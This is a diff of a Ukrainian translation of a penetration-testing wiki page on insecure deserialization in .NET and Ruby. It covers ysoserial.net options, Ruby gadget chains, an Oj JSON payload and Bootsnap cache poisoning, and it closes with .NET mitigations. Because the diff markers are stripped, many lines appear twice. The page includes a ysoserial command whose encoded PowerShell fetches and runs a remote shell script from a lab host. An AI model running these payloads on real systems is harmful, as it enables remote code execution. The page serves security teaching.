- **`--formatter`**, використовується для вказівки методу серіалізації експлойту (вам потрібно знати, яка бібліотека використовується на сервері для десеріалізації корисного навантаження, і використовувати ту ж саму для серіалізації).
- **`--output`** використовується для вказівки, чи хочете ви експлойт у **сирому** або **base64** закодованому вигляді. _Зверніть увагу, що **ysoserial.net** буде **кодувати** корисне навантаження, використовуючи **UTF-16LE** (кодування, що використовується за замовчуванням на Windows), тому, якщо ви отримаєте сирий і просто закодуєте його з консолі Linux, ви можете зіткнутися з деякими **проблемами сумісності кодування**, які завадять експлойту працювати належним чином (в HTB JSON box корисне навантаження працювало як в UTF-16LE, так і в ASCII, але це не означає, що воно завжди буде працювати)._
- **`--plugin`** ysoserial.net підтримує плагіни для створення **експлойтів для конкретних фреймворків**, таких як ViewState.
#### Більше параметрів ysoserial.net
- `--minify` надасть **менше корисне навантаження** (якщо це можливо)
- `--raf -f Json.Net -c "anything"` Це вказуватиме всі гаджети, які можна використовувати з наданим форматором (`Json.Net` у цьому випадку)
- `--sf xml` ви можете **вказати гаджет** (`-g`) і ysoserial.net буде шукати формати, що містять "xml" (незалежно від регістру)
- `--sf xml` ви можете **вказати гаджет** (`-g`) і ysoserial.net шукатиме формати, що містять "xml" (незалежно від регістру)
**Приклади ysoserial** для створення експлойтів:
```bash
@ -678,7 +732,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** також має **дуже цікавий параметр**, який допомагає краще зрозуміти, як працює кожен експлойт: `--test`\
**ysoserial.net** має також **дуже цікавий параметр**, який допомагає краще зрозуміти, як працює кожен експлойт: `--test`\
Якщо ви вкажете цей параметр, **ysoserial.net** **спробує** **експлойт локально,** щоб ви могли перевірити, чи ваш payload працюватиме правильно.\
Цей параметр корисний, оскільки, якщо ви переглянете код, ви знайдете шматки коду, подібні до наступного (з [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
@ -717,18 +771,18 @@ return obj;
Щоб зменшити ризики, пов'язані з десеріалізацією в .Net:
- **Уникайте дозволяти потокам даних визначати свої типи об'єктів.** Використовуйте `DataContractSerializer` або `XmlSerializer`, коли це можливо.
- **Для `JSON.Net` встановіть `TypeNameHandling` на `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
- **Для `JSON.Net` встановіть `TypeNameHandling` на `None`:** `TypeNameHandling = TypeNameHandling.None`
- **Уникайте використання `JavaScriptSerializer` з `JavaScriptTypeResolver`.**
- **Обмежте типи, які можуть бути десеріалізовані**, розуміючи вроджені ризики з типами .Net, такими як `System.IO.FileInfo`, які можуть змінювати властивості файлів сервера, що потенційно призводить до атак відмови в обслуговуванні.
- **Будьте обережні з типами, які мають ризиковані властивості**, такими як `System.ComponentModel.DataAnnotations.ValidationException` з його властивістю `Value`, яка може бути експлуатована.
- **Надійно контролюйте інстанціювання типів**, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть `DataContractSerializer` або `XmlSerializer` вразливими.
- **Впровадьте контролі білого списку** за допомогою кастомного `SerializationBinder` для `BinaryFormatter` та `JSON.Net`.
- **Будьте в курсі відомих небезпечних гаджетів десеріалізації** в .Net і переконайтеся, що десеріалізатори не інстанціюють такі типи.
- **Надійно контролюйте створення типів**, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть `DataContractSerializer` або `XmlSerializer` вразливими.
- **Впровадьте контролі білого списку** за допомогою власного `SerializationBinder` для `BinaryFormatter` та `JSON.Net`.
- **Будьте в курсі відомих небезпечних гаджетів десеріалізації** в .Net і переконайтеся, що десеріалізатори не створюють такі типи.
- **Ізолюйте потенційно ризикований код** від коду з доступом до Інтернету, щоб уникнути експонування відомих гаджетів, таких як `System.Windows.Data.ObjectDataProvider` в WPF додатках, до ненадійних джерел даних.
### **References**
- Папір про десеріалізацію JSON в Java та .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Java та .Net JSON десеріалізація **документ:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
@ -744,7 +798,7 @@ return obj;
- `config/secrets.yml`
- `/proc/self/environ`
**Генералізована десеріалізація Ruby 2.X до RCE гаджетного ланцюга (більше інформації в** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
**Загальна десеріалізація Ruby 2.X до RCE гаджетного ланцюга (більше інформації в** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
```ruby
#!/usr/bin/env ruby
@ -860,7 +914,7 @@ candidate_methods.length() # Final number of methods=> 3595
### Інші бібліотеки
Цю техніку було взято [**з цього блогу**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Ця техніка була взята [**з цього блогу**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Існують інші бібліотеки Ruby, які можна використовувати для серіалізації об'єктів, і тому їх можна зловживати для отримання RCE під час небезпечної десеріалізації. Наступна таблиця показує деякі з цих бібліотек та метод, який вони викликають з завантаженої бібліотеки щоразу, коли вона десеріалізується (функція для зловживання для отримання RCE в основному):
@ -900,7 +954,7 @@ Oj.load(json_payload)
"password": "anypw"
}
```
Більше того, було виявлено, що за допомогою попередньої техніки в системі також створюється папка, що є вимогою для зловживання іншим гаджетом, щоб перетворити це на повноцінний RCE з чимось на кшталт:
Більше того, було виявлено, що за допомогою попередньої техніки в системі також створюється папка, що є вимогою для зловживання іншим гаджетом, щоб перетворити це на повноцінний RCE з чимось на зразок:
```json
{
"^o": "Gem::Resolver::SpecSpecification",
@ -928,11 +982,11 @@ Oj.load(json_payload)
Це не зовсім вразливість десеріалізації, але гарний трюк для зловживання кешуванням Bootstrap, щоб отримати RCE з Rails-додатку з довільним записом файлів (знайдіть повний [оригінальний пост тут](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
Нижче наведено короткий підсумок кроків, детально описаних у статті для експлуатації вразливості довільного запису файлів шляхом зловживання кешуванням Bootsnap:
Нижче наведено короткий підсумок кроків, детально описаних у статті для експлуатації вразливості довільного запису файлів, зловживаючи кешуванням Bootsnap:
- Визначте вразливість і середовище
Функціональність завантаження файлів у Rails-додатку дозволяє зловмиснику записувати файли довільно. Хоча додаток працює з обмеженнями (лише певні каталоги, такі як tmp, доступні для запису через ненадійного користувача Docker), це все ще дозволяє записувати у каталог кешу Bootsnap (зазвичай під tmp/cache/bootsnap).
Функціональність завантаження файлів у Rails-додатку дозволяє зловмиснику записувати файли довільно. Хоча додаток працює з обмеженнями (лише певні каталоги, такі як tmp, доступні для запису через ненадійного користувача Docker), це все ще дозволяє записувати в каталог кешу Bootsnap (зазвичай під tmp/cache/bootsnap).
- Зрозумійте механізм кешування Bootsnap
@ -944,7 +998,7 @@ Bootsnap прискорює час завантаження Rails, кешуюч
- Обчисліть шлях до кеш-файлу
Відтворивши механізм хешування FNV-1a 64-біт для Bootsnap, визначається правильний шлях до кеш-файлу. Цей крок забезпечує, що шкідливий кеш-файл буде розміщено точно там, де Bootsnap його очікує (наприклад, під tmp/cache/bootsnap/compile-cache-iseq/).
Відтворюючи механізм хешування FNV-1a 64-біт для Bootsnap, визначається правильний шлях до кеш-файлу. Цей крок забезпечує, що шкідливий кеш-файл буде розміщено точно там, де його очікує Bootsnap (наприклад, під tmp/cache/bootsnap/compile-cache-iseq/).
- Створіть шкідливий кеш-файл